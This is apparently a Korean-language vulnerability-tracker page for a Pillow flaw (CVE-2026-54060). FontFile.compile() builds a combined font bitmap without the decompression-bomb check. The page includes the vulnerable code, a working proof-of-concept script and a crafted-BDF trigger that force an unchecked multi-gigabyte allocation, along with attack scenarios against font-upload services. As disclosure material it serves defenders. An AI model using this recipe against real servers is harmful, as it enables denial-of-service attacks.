Kestrel
대시보드로 돌아가기
CVE-2026-54060HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 20.

Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 65.7%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

python
1def compile(self) -> None:
2 if self.bitmap:
3 return
4
5 h = w = maxwidth = 0
6 lines = 1
7 for glyph in self.glyph: # up to 256 glyph slots
8 if glyph:
9 d, dst, src, im = glyph
10 h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled
11 w = w + (src[2] - src[0])
12 if w > WIDTH: # WIDTH = 800
13 lines += 1
14 w = src[2] - src[0]
15 maxwidth = max(maxwidth, w)
16
17 xsize = maxwidth # ≤ 800 (capped by WIDTH constant)
18 ysize = lines * h # ← lines(256) × h(65535) = 16,776,960
19
20 if xsize == 0 and ysize == 0:
21 return
22
23 self.ysize = h
24 # NO _decompression_bomb_check() here ←
25 self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

MetricPer-glyph (800 × 875)Combined bitmap (256 glyphs)
Pixel count700,000179,200,000
DecompressionBombWarning threshold (89.4M)0.008× — no warning2.0× — above warning
DecompressionBombError threshold (178.9M)0.004× — no error1.001× — above error

With PCF-maximum glyph height (65,535):

MetricValue
lines256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height)65,535
xsize800
ysize = lines × h256 × 65,535 = 16,776,960
Total pixels800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold75×
Memory (mode "1", 1 bit/pixel)~1.6 GB

Steps to reproduce

Proof of Concept script:

python
1#!/usr/bin/env python3
2"""
3PoC: FontFile.compile() bomb bypass
4256 glyphs at 800x875 each (individually below warning threshold)
5→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
6"""
7from PIL import FontFile, Image
8
9MAX_GLYPHS = 256
10GLYPH_W = 800
11GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold
12
13class MockFont(FontFile.FontFile):
14 def __init__(self):
15 super().__init__()
16 # Each glyph is individually safe (700K px < 89.4M warning)
17 im = Image.new("1", (GLYPH_W, GLYPH_H))
18 for i in range(MAX_GLYPHS):
19 self.glyph[i] = (
20 (GLYPH_W, GLYPH_H),
21 (0, -GLYPH_H, GLYPH_W, 0),
22 (0, 0, GLYPH_W, GLYPH_H),
23 im,
24 )
25
26# Confirm bomb check WOULD catch the combined size
27combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
28try:
29 Image._decompression_bomb_check(combined_size)
30 print("[FAIL] bomb check did not raise — unexpected")
31except Image.DecompressionBombError as e:
32 print(f"[OK] bomb check WOULD block {combined_size}: {e}")
33
34# Vulnerable path: compile() has NO bomb check
35font = MockFont()
36font.compile() # → Image.new("1", (800, 224000)) — no error raised
37
38px = font.bitmap.size[0] * font.bitmap.size[1]
39threshold = Image.MAX_IMAGE_PIXELS * 2
40print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
41print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")
42print(f" No DecompressionBombError raised at any point.")

Expected output:

text
1[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
2of 178956970 pixels, could be decompression bomb DOS attack.
3[BYPASS] compile() succeeded: bitmap=(800, 224000)
4 pixels=179,200,000 (1.001× DecompressionBombError threshold)
5 No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

python
1from PIL import BdfFontFile
2import io
3
4# Load a crafted BDF font with 256 glyphs each claiming height=65535
5# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
6# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
7font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
8font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

ScenarioEffect
Web font preview (BdfFontFile(upload).to_imagefont())DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont()OOM crash
Font pipeline: load → render textOne malicious font file kills the process

Impact

  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont()FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename)FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont()FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename)FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.